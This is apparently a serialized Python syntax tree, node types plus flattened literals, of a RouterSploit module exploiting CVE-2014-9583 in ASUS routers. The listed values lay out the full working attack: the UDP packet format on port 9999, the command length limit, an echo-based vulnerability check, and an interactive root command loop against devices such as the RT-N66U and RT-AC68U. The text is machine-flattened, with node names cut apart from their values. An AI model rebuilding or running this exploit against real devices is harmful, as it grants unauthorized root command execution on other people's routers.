Module Import alias Import alias Import alias ImportFrom alias alias alias alias alias ClassDef bases AttributeLoad NameLoad attr body Expr Str Assign NameStore Dict Str Str Str Str Str Str Str ListLoad Str Str Str ListLoad Str ListLoad Str Str Str Str Str Str Str Str Str Str Str Assign NameStore Call AttributeLoad NameLoad attr Str Str FunctionDef arguments args NameParam defaults body TryExcept body If Call AttributeLoad NameLoad attr body Expr Call NameLoad Str Expr Call NameLoad Str Expr Call NameLoad Str Expr Call AttributeLoad NameLoad attr orelse Expr Call NameLoad Str handlers ExceptHandler type AttributeLoad NameLoad attr name NameStore body Expr Call NameLoad Call AttributeLoad Str attr keyword NameLoad keyword Num decorator_list FunctionDef arguments args NameParam defaults body While Num body Assign NameStore Call NameLoad Str TryExcept body Expr Call NameLoad Call AttributeLoad NameLoad attr NameLoad handlers ExceptHandler type AttributeLoad NameLoad attr body Expr Call NameLoad Str decorator_list FunctionDef arguments args NameParam NameParam defaults body If CompareGt Call NameLoad NameLoad Num body Expr Call NameLoad Str Return Assign NameStore Call AttributeLoad NameLoad attr AttributeLoad NameLoad attr AttributeLoad NameLoad attr Expr Call AttributeLoad NameLoad attr TupleLoad Str Num Expr Call AttributeLoad NameLoad attr Num Assign NameStore Call AttributeLoad BinOpAdd BinOpAdd BinOpAdd BinOpAdd Str Call AttributeLoad NameLoad attr Num BinOpMult Str Num Call AttributeLoad NameLoad attr Str Call NameLoad NameLoad NameLoad attr Num Str TryExcept body Expr Call AttributeLoad NameLoad attr NameLoad TupleLoad AttributeLoad NameLoad attr Num handlers ExceptHandler type AttributeLoad NameLoad attr body Return Str While NameLoad body TryExcept body Assign TupleStore NameStore NameStore Call AttributeLoad NameLoad attr Num handlers ExceptHandler type AttributeLoad NameLoad attr body Expr Call AttributeLoad NameLoad attr Raise If BoolOpAnd CompareEq Call NameLoad NameLoad Num CompareEq SubscriptLoad NameLoad Index Num Str body Break Assign NameStore SubscriptLoad Call AttributeLoad NameLoad attr Str SubscriptLoad NameLoad Slice Num Num Index Num Assign NameStore SubscriptLoad NameLoad Slice Num BinOpAdd Num NameLoad Expr Call AttributeLoad NameLoad attr Return NameLoad decorator_list FunctionDef arguments args NameParam defaults body Assign NameStore Num For NameStore Call NameLoad NameLoad body Assign NameStore Str Assign NameStore Call AttributeLoad Str attr NameLoad TryExcept body Assign NameStore Call AttributeLoad NameLoad attr NameLoad handlers ExceptHandler type AttributeLoad NameLoad attr body Continue If CompareIn NameLoad NameLoad body Return NameLoad Return NameLoad decorator_list decorator_list
N/A N/A socket N/A struct N/A os routersploit exploits print_status print_success print_info print_error Exploit N/A N/A exploits Exploit N/A N/A 
    Exploit implementation for multiple ASUS's Remote Code Execution vulnerability, known as infosvr UDP Broadcast root command execution aka CVE-2014-9583.
    If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.
     N/A __info__ N/A name description authors references targets Asus Infosvr Backdoor RCE Module exploits remote command execution in multiple ASUS devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level. N/A Joshua "jduck" Drake; @jduck Friedrich Postelstorfer Michal Bentkowski; @SecurityMB N/A https://github.com/jduck/asus-cmd N/A ASUS RT-N66U ASUS RT-AC87U ASUS RT-N56U ASUS RT-AC68U ASUS DSL-N55U ASUS DSL-AC68U ASUS RT-AC66R ASUS RT-AC66R ASUS RT-AC55U ASUS RT-N12HP_B1 ASUS RT-N16 N/A target N/A N/A exploits Option Target IP address e.g. 192.168.1.1 run N/A N/A self N/A N/A N/A N/A N/A N/A N/A self check N/A N/A N/A print_success Target is vulnerable N/A N/A print_status Invoking command loop... N/A N/A print_status Please note that only first 256 characters of the output will be displayed N/A N/A N/A self command_loop N/A N/A N/A print_error Target is not vulnerable N/A N/A N/A N/A socket error N/A ex N/A N/A N/A print_error N/A N/A Socket error ({ex}). It most likely means that something else is listening locally on port UDP:{port}. Make sure to kill it before running the exploit again. format ex ex port 9999 N/A command_loop N/A N/A self N/A N/A N/A 1 N/A N/A cmd N/A raw_input cmd >  N/A N/A N/A N/A print_info N/A N/A self execute cmd N/A N/A N/A N/A socket timeout N/A N/A N/A print_error No response received. The exploit tends to be unstable though. It is worth trying to run the same command again. N/A execute N/A N/A self cmd N/A N/A N/A N/A N/A len cmd 237 N/A N/A N/A print_error Your command must be at most 237 characters long. Longer strings might crash the server. N/A N/A sock N/A N/A socket socket N/A socket AF_INET N/A socket SOCK_DGRAM N/A N/A N/A sock bind N/A 0.0.0.0 9999 N/A N/A N/A sock settimeout 2 N/A packet N/A N/A N/A N/A N/A N/A 3 N/A N/A os urandom 4 N/A 38 N/A N/A struct pack <H N/A len cmd cmd ljust 512 N/A N/A N/A N/A N/A sock sendto packet N/A N/A self target 9999 N/A N/A N/A N/A socket error N/A N/A N/A True N/A N/A N/A N/A N/A data addr N/A N/A sock recvfrom 512 N/A N/A N/A N/A socket timeout N/A N/A N/A N/A sock close N/A N/A N/A N/A N/A len data 512 N/A N/A data N/A 1 N/A N/A N/A length N/A N/A N/A struct unpack <H N/A data N/A 14 16 N/A 0 N/A output N/A data N/A 16 N/A 16 length N/A N/A N/A sock close N/A output N/A check N/A N/A self N/A N/A N/A NUM_CHECKS 5 N/A i N/A xrange NUM_CHECKS N/A N/A random_value 116b8df6aee055a05032ed26726c032914dc5dae N/A cmd N/A N/A echo {} format random_value N/A N/A N/A retval N/A N/A self execute cmd N/A N/A N/A N/A socket timeout N/A N/A N/A N/A random_value retval N/A N/A True N/A False N/A N/A